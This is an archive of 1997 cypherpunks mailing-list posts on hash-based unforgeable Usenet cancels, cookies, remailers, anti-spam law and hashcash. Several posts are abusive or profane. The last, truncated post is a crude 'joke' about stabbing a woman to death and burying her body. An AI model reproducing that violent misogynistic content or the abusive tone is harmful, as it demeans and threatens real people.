that I have missed but how's about this as a method of verifying that cancels
have actually come from the author of a message.

I have seen a number of solutions that use various signature algorythms to
check that the cancel has been sent by the original author of the message.
However these require that the news program has access to the public key of
the author in order to verify the signature before honouring the cancel. 
Since there are millions of authors on usenet I believe that this is 
impractical and, not suprisingly, key management again turns out to be a
major problem which I believe can be solved using one way hash functions.

1	When any message is sent a hash X is calculated as :

			X = HASH(Mid,S)

	where	Mid is the Message ID 
		S is a secret controlled by the author (eg a pass phrase)

2	The hash value Y is then calculated such that:

		Y = HASH(X) = HASH(HASH(Mid,S))

3	The value calculated for Y is then included with the message as

		X-Cancel-Ref: Y

This does assume that message IDs are available by the news program and are
not allocated after sending. If this is not the case then it would be necessary
to use other header information to calculate the hash such as the date/time
and subject, or to store some kind of key at the authors end in order to
reference the message (although in this case X may as well just be generated
randomly and stored).

If the user later decided that the message should be canceled he must
re-calculate X using the message ID and his pass phrase and include this
value in the cancel :

		X-Cancel-Key: X

News programs can then be set to check that a valid value of X such that
HASH(X)=Y has been received before honouring the cancel.

Note - I realise that this does not stop anyone who can change the X-Cancel-Ref
header from canceling the message but if they can do that they can probably 
just delete the message anyway.

Any comments/glareing weaknesses that I have missed?

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 8 Aug 1997 21:50:09 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
Message-ID: <199708081336.GAA04744@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Thu, 7 Aug 1997 23:24:28 -0400 (EDT)
> From:          Declan McCullagh <declan@pathfinder.com>
> To:            "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Query on cookies
> Reply-to:      Declan McCullagh <declan@pathfinder.com>

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."
> 
> -Declan

Well, I'm using version 4.01a for NT. There are three settings for 
cookies:

1. Accept all cookies.
2. Accept only cookies which get sent back to the originating server.
3. Disable cookies.

There's also a checkbox labled:

"Warn me for accepting a cookie."

I've been fairly unhappy with this version - the cookie management 
and the "Personal Toolbar" (user specified buttons for frequently 
visited sites) are the only new features that seem useful. It tends
to crash frequently, and the usenet news (aka "Collabra Discussion
Groups") seems to be broken (some of the earlier versions had a 
fairly useful newsreader). It's also a disk hog.

Note: This is a beta version.

Peter Trei
trei@process.com

PS: I have it set on 'disable cookies'.

DISCLAIMER: The above is my personal opinion only, and not 
neccesarily representative of my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Fri, 8 Aug 1997 22:15:55 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <oXN4ae54w165w@bwalk.dm.com>
Message-ID: <33EB4EB4.7ADC@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Declan McCullagh <declan@pathfinder.com> writes:
> 
> > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > which I'm told features four cookie settings. One rejects "third party
> > cookies."
> 
> Blessed are those who believe.
> 
And for those who don't believe there is always Read Only for
Cookies.txt.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 18:17:24 +0800
To: enoch@zipcon.net
Subject: Re: Exit Remailer Suggestion
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <199708080936.KAA01816@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> Someone wrote:

(That someone was me).

>  > What about AOL disks?  We need shorter lived, disposable
>  > remailers as exit remailers...  Let them take the heat,
>  > while the real remailers walk.  Lets see a series of
>  > "exitman" remailers.  Exitman remailers are walking targets
>  > left to fend for themselves as long as they may.
> 
> By reconfiguring current remailers to use a public Email service
> as the last link in the chain, we tap a potentially infinite
> supply of disposable accounts, on advertising-supported service
> providers with skins as thick as those of the bulk emailers.
> 
> Sounds like a plan to me.

OK, lets _do_ it!

Sounds much easier and less risky than relying on a recreational
cracker to provide a stream of short lived remailers as I was
suggesting.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 18:17:31 +0800
To: tcmay@got.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulkpostage fine)
In-Reply-To: <v03102800b0100f88f756@[207.167.93.63]>
Message-ID: <199708080956.KAA01839@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> [...]
> Nor are delivery services required to "know their customer" or to
> have ironclad proof of where a package originated. (Hell, even the
> U.S. Postal Service allows mail with no valid return address, and
> this was my experience in Europe as well.)

Because there is a from address people get picky that it ought to
contain a valid return address.  Many ISPs apparently have policies
which state that you aren't allowed to do SMTP forgeries.

Paper mail doesn't have this expectation.  Pity the people who
designed SMTP didn't leave this one out -- at this point it would be
difficult to get a From field added.  They could have followed the
paper mail norm and left it to the user to include (or not) whatever
contact info he wanted.  Of course you can see the natural convenience
of a From, or Replyto field, which is why it's there.

Now that the from field is there, it'll be even harder to remove from
implementations and protocols... basically impossible.

Still the spam counter-measure which many people are starting to use
of forging headers to avoid getting their email snarfed helps reduce
the expectation that the From field will contain anything useful.

However that isn't the only problem... the series of Received headers
allow those with the know how to recognise and narrow down where
forged mail came from.  But usually only to a mail hub where it was
injected at best, and then often only tentative with out collaboration
with involved sites.

Course Received: headers have their uses also, to debug sendmail
configs, and work out where mail is going.  Still would have been nice
if the feature was only included in the SMTP delivery stuff when
debugging mode was turned on.

> The "From:" field in e-mail is not to be confused with the "originator"
> (whatever that may be).
> 
> Not even the U.S. courts are so dumb as to accept the claim that a package
> delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
> the "sender."
> 
> When this "From:" thing eventually gets to a court, I expect this
> distinction will be obvious to all.
> 
> Remailers are just middlemen in a delivery process.

I hope you're right.

I still think laws against spam are the wrong approach, even if the
courts declare remailers as delivery mechanisms only.

	"Write code, not Laws."

(Btw who's quote is that?  I like it and wanted to quote it in an
article on Eternity.)

Re spam problems and writing code and not laws, hashcash was my best
attempt:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

However coding is not the only problem, the other is getting people to
use stuff.  Advertising, subscribing to appropriate newsgroups, going
to IETF meetings, deployment wins, but stuff dies due to little
investment in advocacy.  I haven't got the energy or resources to
advertise the above.  I reckon you could make nearly a full time job
just reading and corresponding with people on enough news admin groups
and mailing lists to get your message across to enough people to even
begin to make an impact.

I wrote the eternity service implementation 3 months ago, released
source code: no interest.  (Bar a few email messages saying "cool").
No demonstration system was the problem.

Mike Duvos provided a demonstration system last week when I reposted
the announce due to his discussing similar ideas, and poof: 4 eternity
servers, wired article, another request to write an article for some
magazine, offers to give talks at US universities.  Wew.

I also reckon, though obviously this is difficult to measure, that the
few hours invested in producing the flashy title bar graphics with a
more professional take off of the cypherpunks rose on field of entropy
logo and pirate skull with crossed-swords added more to the appeal of
the service than adding more features.  My normal HTML coding style of
drab grey with no graphics at all just doesn't look appealing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 23:24:09 +0800
To: cypherpunks@toad.com
Subject: Re: Third party rating systems are good for society
In-Reply-To: <Pine.GSO.3.95.970807201331.23044B-100000@well.com>
Message-ID: <97Aug8.110003edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 23:21:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: this could happen to remailers (was Re: Whining for 'Accountability')
In-Reply-To: <199708081140.MAA00231@server.test.net>
Message-ID: <97Aug8.111031edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 01:33:02 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <33EB4EB4.7ADC@acm.org>
Message-ID: <wkk5ae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Paul H. Merrill" <paulmerrill@acm.org> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Declan McCullagh <declan@pathfinder.com> writes:
> > 
> > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > which I'm told features four cookie settings. One rejects "third party
> > > cookies."
> > 
> > Blessed are those who believe.
> > 
> And for those who don't believe there is always Read Only for
> Cookies.txt.

This won't save cookies to disk, but won't they be around for the duration
of one session?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 20:39:11 +0800
To: jbaber@mi.leeds.ac.uk
Subject: Re: REPOST : Un-forgeable Cancels
In-Reply-To: <12867.9708080920@misun2.mi.leeds.ac.uk>
Message-ID: <199708081127.MAA00177@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Baber <jbaber@mi.leeds.ac.uk> writes:
> 1	When any message is sent a hash X is calculated as :
> 
> 			X = HASH(Mid,S)
> 
> 	where	Mid is the Message ID 
> 		S is a secret controlled by the author (eg a pass phrase)
> 
> 2	The hash value Y is then calculated such that:
> 
> 		Y = HASH(X) = HASH(HASH(Mid,S))
> 
> Any comments/glareing weaknesses that I have missed?

Sounds good to me.  I thought there was someone doing something like
this with hashes.  But then I never really looked into any of the
systems.  What does Greg Rose's PGPMoose do?  (One presumes it
involves PGP sigs?)

> This does assume that message IDs are available by the news program
> and are not allocated after sending. If this is not the case then it
> would be necessary to use other header information to calculate the
> hash such as the date/time and subject, or to store some kind of key
> at the authors end in order to reference the message (although in
> this case X may as well just be generated randomly and stored).

I think you don't even need this much uniqueness of hashing
material...

Say you just chose a random R and store it in ~/.news-preimage, and
HASH( R ) in ~/.news-image.

Now you post all of your posts with HASH( R ) in a header as you are
suggesting.

Now if you didn't want to be coerced in to cancelling your own posts
you just remove .news-preimage instantly.

You have to update your preimage for each cancel you do, but how many
cancels do people do anyway?  (Not many for their own benefit I
reckon).


This is a low security application, and ease of use over user typed
passwords will win I think.

Conceivably you could cope with the above by making .news-image
readable to the news system on your local net news service.  This
could transparently do the job without needing to update any clients
-- only an INN patch required.  Sounds like a phun project for
someone.

Issueing cancels would be more manual, but you could easily knock up a
perl script to instruct the NNTP server to do that.  (Or windows
program, or whatever).

If you really wanted to integrate cancels without updating clients,
for those that support them you'd have to give the NNTP news server
access to your preimage, R.  Not sure this is a good idea, as now your
ISP can be coerced into cancelling your message for you without your
cooperation.

Course all these problems go away if you do update clients, but it's
usually nice to offer an easy interim migration path, else no-one will
use it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 20:39:48 +0800
To: frogfarm@yakko.cs.wmich.edu
Subject: this could happen to remailers (was Re: Whining for 'Accountability')
In-Reply-To: <199708080858.EAA31914@yakko.cs.wmich.edu>
Message-ID: <199708081140.MAA00231@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Damage Justice <frogfarm@yakko.cs.wmich.edu> forwards:
>
> [article describing a spam-baiting case with an unsuspecting
> business man as victim.  Some spammer sends spam purportedly from
> business man... business man gets lots of harrasing
> calls... business man calls for `accountability'... `government must
> do something']

I think this article lends credence to my recent arguments that
control of spam will lead to control of remailers.  Kent has been
arguing against these suggestions on the grounds that I am being
unrealistic or something.  More recently Tim expressed optimism that
attacks on remailers via this route be struck down by courts.

Now the spammers aren't using remailers that much at the moment.
Anti-spam laws will make them do so (or make them use off-shore
accounts).

When an incident like this happens via remailers, there will be
similar calls for `accountability' on the net, and for `government to
do something about the problem'.

If you're paranoid, you'll consider it likely that the mega-spam bait
through the remailer that is used as the show case will actually have
originated from a Fed Stooge.  (A la US Postal Inspector being
originator of Kiddie Porn that got the Thomases locked up in the adult
BBS case).


I don't spell out what a call to arms by USG on `accountability on the
net' is likely to spells for remailers, surely.  (Remailer user
escrow?  Banned remailers?  Illegality of using remailers even in
other countries?  Legislation calling for US ISPs to block non US
remailers?)

You should be worried, and you should be saying no to spam laws (or
any laws about net content).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 9 Aug 1997 01:21:10 +0800
To: cypherpunks@toad.com
Subject: Re: Death of the North American Crypto archive?
In-Reply-To: <VJ94ae56w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970808130557.22603A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> > It is economics. Can anyone suggest an alternate host that might provide room
> > for a few hundred megabytes of ftp access for free (or nearly free)? Can
> > someone else in North American mirror all of that data, quickly, before the
> > site shuts down?
> 
> If it's under 650MB, I can fit it all on 1 CD...

If I knew where the site was, I could probably temporarily store it
somewhere until a site was foudn..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 9 Aug 1997 01:21:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <199708080956.KAA01839@server.test.net>
Message-ID: <97Aug8.131019edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Adam Back wrote:

> > Remailers are just middlemen in a delivery process.
> 
> I hope you're right.
> 
> I still think laws against spam are the wrong approach, even if the
> courts declare remailers as delivery mechanisms only.
> 
> 	"Write code, not Laws."
> 
> (Btw who's quote is that?  I like it and wanted to quote it in an
> article on Eternity.)
> 
> Re spam problems and writing code and not laws, hashcash was my best
> attempt:
> 
> 	http://www.dcs.ex.ac.uk/~aba/hashcash/
> 
> However coding is not the only problem, the other is getting people to
> use stuff.  Advertising, subscribing to appropriate newsgroups, going
> to IETF meetings, deployment wins, but stuff dies due to little
> investment in advocacy.  I haven't got the energy or resources to

I think you never answered the fundamental question:

But to what advantage is it for *ME* to use hashcash?

Saying that it is neat, patriotic, pious, or any other adjective won't get
my anonymous mail through any faster unless you can create a cartel of
remailers that expidite hashcashed mail, or use some type of new remailer
that others don't have and build hashcash into the distribution. 

You still have the problem that a large organization can buy large
computers just to do hashcash - look for networkable hashcash generators
if it becomes popular.

If it doesn't solve an immediate problem, it is similar to advocating
solar energy when it is more expensive and/or cumbersome than fossil
fuels.  If/when enough remailers are clogged, hashcash is likely to be
adopted, but it is difficult to sell something when others offer the same
thing for free.

> I wrote the eternity service implementation 3 months ago, released
> source code: no interest.  (Bar a few email messages saying "cool").
> No demonstration system was the problem.
> 
> Mike Duvos provided a demonstration system last week when I reposted
> the announce due to his discussing similar ideas, and poof: 4 eternity
> servers, wired article, another request to write an article for some
> magazine, offers to give talks at US universities.  Wew.

Having interesting content draws interest, and proposing a method is far
from doing a prototype (questions like "are newsgroups stored long
enough?" and "will the cgi script work properly?" are only answered by
a working implementation, and a few of the eternity servers I tried
returned nothing from the links, but are probably fixed).

The legal problems still need to be resolved.  As long as no copyrighted
material appears I think things will be fine, but when MSwhatever appears,
someone is going to say the eternity server is like an illegal cable
descrambler or make up something very similar to ban them since they
aren't merely forwarding the content from alt.anonymous.messages - if
encryption is an envelope, the eternity server opens it.

Otherwise, you could simply post the plaintext to an alt group.  If that
doesn't happen now (why?), then adding an encryptor and decryptor isn't
going to change it, otherwise simply post the encrypted text, and the
passphrase in the same message, or the encrypted text, the secret key,
etc.  Except that the URL interface makes access more convienient.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 8 Aug 1997 20:44:10 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <199708081138.NAA07099@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > How about if it is an employee of yours, using your computer
> > equipment, that sent the message, in explict contradition to your
> > companies stated policy?
> 
> Use a retraction server (David's project)

I wonder if there is a problem of inconsistent levels in this debate...

At one level, many people on this list are in favour of infrastructure
such as Usenet and the Web carrying all information without filtering with
respect to content, to avoid censorship, oppression and so on.

At another level, almost everybody has personal preferences as to what
they consider worthwhile information, what they want to read, what they
want their children/employees to read, and what they want their
privately-owned hardware to be used to carry.

At the content-free level, cancels are information just like anything
else, merely a stream of octets.  By definition, they _can't_ be morally
wrong at that amoral level where we talk only about whether
store-and-forward works properly or not.  Cancels, "forged" or otherwise
are just a tool, just bytes.

Within a particular value system, you might agree or disagree with a
particular cancel, or with the idea in general.  It's easy to configure a
news server or reader to conform to your preferences, just people who hate
spam are free to ignore it.  At this level, you can make judgements as to
which uses of that tool are justifiable.  (Cancels by sysadmins,
anti-spammers, spammers, system owners, governments, parents, copyright
lawyers or nobody at all.)

::Boots

  "I'm sorry but I just don't consider 'because he's a pedophile' to be a
   convincing argument."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 16:17:49 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <4DL2ae16w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808133524.450A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:
> > 	Not accepted ones.  They're treated as rogues, and asked to stop
> > it, and you know it.
> 
> Net.Scum like [...] Tim Brown,

Tim Brown is not an accepted canceler.

[...]

> Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):
> 
[...]
> ]Sounds cool.  Where do I get one?
> ]
> ]	If you have to ask, you don't get one.

[...]

> My cancelbot has been freely available for over 18 months.

And if thay can't find it thay have to ask therefore thay don't get one.
There are freely advalable alt.* newsgroup creation scripts, and still
peaple don't know how to post cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 9 Aug 1997 05:19:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <19970808210806.3667.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian.

You know, I've never viewed the Christians as the problem.  The real
problem is a shortage of lions. 

Clearly we need to start a Cypherpunks Emergency Lion Breeding program
immediately. 

-LunchMonger

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 02:49:42 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <wkk5ae1w165w@bwalk.dm.com>
Message-ID: <33EB8DA7.71C8@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> "Paul H. Merrill" <paulmerrill@acm.org> writes:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Declan McCullagh <declan@pathfinder.com> writes:
> > >
> > > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > > which I'm told features four cookie settings. One rejects "third party
> > > > cookies."
> > >
> > > Blessed are those who believe.
> > >
> > And for those who don't believe there is always Read Only for
> > Cookies.txt.
> 
> This won't save cookies to disk, but won't they be around for the duration
> of one session?
> 
True, true, but the belief level needed is low and the hysterical data
aspects are gone even if you are still tracking mud around from the
"current" walkabout.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Fri, 8 Aug 1997 21:41:41 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: REPOST : Un-forgeable Cancels
Message-ID: <12952.9708081327@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




Glad that the mail got through that time - not forged cancels though I am 
sure, more likely a cock up with my mail sppol.....

> Adam Back <aba@dcs.ex.ac.uk> writes: 
> Sounds good to me.  I thought there was someone doing something like
> this with hashes.  But then I never really looked into any of the
> systems.  What does Greg Rose's PGPMoose do?  (One presumes it
> involves PGP sigs?)

I must admit that not being a news admin and rarely posting to news I have
not realy looked at what is being worked on. I was just reading the 
'forged cancels' thread when I though of the hash idea.

>From what I can see (the full README is unavailable) PGPMoose is designed
to Cancel messages in a moderated newsgroup that have not been approved by
the moderator - by using PGP sigs to authenticate the approval.

see http://people.qualcomm.com/ggr/pgpmoose.html

This could be modified for general cancels but would then involve PGPMoose
having access to every authors Public Key.

> > This does assume that message IDs are available by the news program
> > and are not allocated after sending. If this is not the case then it
> > would be necessary to use other header information to calculate the
> > hash such as the date/time and subject, or to store some kind of key
> > at the authors end in order to reference the message (although in
> > this case X may as well just be generated randomly and stored).
> 
> I think you don't even need this much uniqueness of hashing
> material...

Personally I would prefer a unique value for every message, especially if
I was a prolific sender of news.

> Say you just chose a random R and store it in ~/.news-preimage, and
> HASH( R ) in ~/.news-image.
> 
> Now you post all of your posts with HASH( R ) in a header as you are
> suggesting.
> 
> Now if you didn't want to be coerced in to cancelling your own posts
> you just remove .news-preimage instantly.
> 
> You have to update your preimage for each cancel you do, but how many
> cancels do people do anyway?  (Not many for their own benefit I
> reckon).

This would work well but would allow an attacker to cancel any message sent
using that value of R as soon as the author sent a message. Generally
the more messages that you sent the more vulnerable you would be to this
(as more of your articles would still be in the news feed) - exactly how
much of a problem this would be depends on whether archivers accept cancels
(which I doubt) and how long the news group in question is stored in the news
spool before timing out.

> This is a low security application, and ease of use over user typed
> passwords will win I think.

This I completely agree with, I was initally thinking of leaving the password
as an Environmental variable set when the user logged on (.cshrc, .login,
AUTOEXEC.BAT etc as appropriate). It makes very little difference if this
is the case or if it was stored in a file, however a good news program could
offer the option of using a different random/secret for any particular message
if the author wanted it to be [more] secure from their systems manager.

> Conceivably you could cope with the above by making .news-image
> readable to the news system on your local net news service.  This
> could transparently do the job without needing to update any clients
> -- only an INN patch required.  Sounds like a phun project for
> someone.

This is far simpler than if you calculate a unique hash for each new
message and may be the part that wins the day.

> Issueing cancels would be more manual, but you could easily knock up a
> perl script to instruct the NNTP server to do that.  (Or windows
> program, or whatever).

I think that issueing cancels should be more complex than just clicking on
a button - after all once you have said something there is very little reason
to try to cover it up - in most cases a simple correction would do.

> If you really wanted to integrate cancels without updating clients,
> for those that support them you'd have to give the NNTP news server
> access to your preimage, R.  Not sure this is a good idea, as now your
> ISP can be coerced into cancelling your message for you without your
> cooperation.

This would generally be a bad idea, however you should remember that the
NNTP news server could simply be modified to overwrite yor Cancel_Ref:
header with their own value of Y anyway or even just not forward your
article, just as any news admin could (any news admin can only change those
'down the path' from them).

> Course all these problems go away if you do update clients, but it's
> usually nice to offer an easy interim migration path, else no-one will
> use it.
> 
> Adam

Again true, however this is true for any cancel checking mechanism. As far
as I can see the advantage to this idea over digital signatures is that the
NNTP program that has to decide whether to accept the cancel or not does
not need access to the public key of the sender.

Another thing is that the modification to the NNTP program is the same whether
you use a unique hash per message or a stored ~/.news-preimage as all that
it has to do is check that the value included in the cancel message hashes
to the value in the original message. This would allow quick updates to both
NNTP and the news-reader (probably originally using the stored preimage) and
later versions of the news-reader to be updated to include the unique hash
(which can still operate transparently to the user, using either a file or
environmental variable) without having to make any changes to the NNTP program.

Thanks for the comments,

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 9 Aug 1997 05:47:54 +0800
To: cypherpunks@toad.com
Subject: News Flash! "Lighting Bolt Strikes CypherPunks Mailing List Post!" / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB869B.498B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

David D.W. Downey wrote: 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading.

  To tell the truth, I'm really embarassed. It's not bad enough that
the TruthMailer was hit by lightning and deleted my references to
Tim C. May's Vernacular Translation of the Bible (in a shoddy attempt
to throw the emnity caused by my post in his direction), but I have
sunk to such a low level of reputation capital that I am being looked
down on by someone whose cocaine habit caused him to do such evil 
things that he changed his name from Morton Jr. to David D.W.

  I won't even try to pretend that I can answer your objections to my
post, since I am just a "drunken voice, barfing in the wilderness."
  However, there is one who will come "after" me (hopefully, not with a
gun), who I am merely "preparing the way" for. He also came "before"
me (which you can verify by checking the archives).
  He is the one who turned the CypherPunks away from the electronically
graven image of PGP and taught us to be paranoid in spirit. He taught
us that, although we are Phil's chosen people, we must wander in the
algorithmic desert for 40 bytes before we enter the Private Land.
  He was accused by the ASCII-art priests. He was crucified on the 
cross of censorship, and was deleted, but he arose after three weeks 
of posts  by "something called a Toto" to redeem the list members from
the sins they committed in calling for censorship and for the death 
of the list.

  He forgives those of us on the list who manage to dodge his eternal
rapid-fire, even though he makes fun of us by saying, "My father's
house has many Mansons...and too many fucking Mongers."
  After his list res-erection, his disciples' posts have spread his
words far and wide, in a new, distributed list known as "The New
Testicle."
 {"In the beginning, was the Turd..."
  "Beware of politicians fucking people in sheeple's clothing..."
  "The Revelation of Timothy C. May, which Zimmerman gave unto him,
  to show unto the newbies things which must shortly come to pass
  after introduction of the Clipper chip..." }

    Since lightning never strikes twice in the same place, I will repost
the message as "The _Really_ Big Lie," with a self-rating of FUD.
  If you hated the remailed sequel, you will despise the original.

Jesus H. Fucking ChristMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 8 Aug 1997 21:31:27 +0800
To: cypherpunks@toad.com
Subject: Source Code for New Encryption Algorithm
Message-ID: <199708081258.OAA15145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Source Code for the Dick TruthMeasure Encryption Algorithm:
(c) "The Hoff-Center of Virtual Math"

==============> 
|<eight inches>| + DOOM = DICK + DEATH = 2" + NULL = Nine Inch Nails

## Proof of Theorem:
## 
## If she says "I want nine inches, and I want to bleed." and you give
## her two inches, four times and stab her to death, using a 6" knife,
## then 4(DICK) + 6" = 8" + 6" = Nine Inch Nails.
##  
## Therefore, Nine Inch Nails band members have 14" Dicks.
##
## Basing the Private Key on Nine Inch Nails private parts, and the
## Secret Key on the secret location where the dead woman's body is
## buried, the sick, twisted creators of the "Dick TruthMeasure 
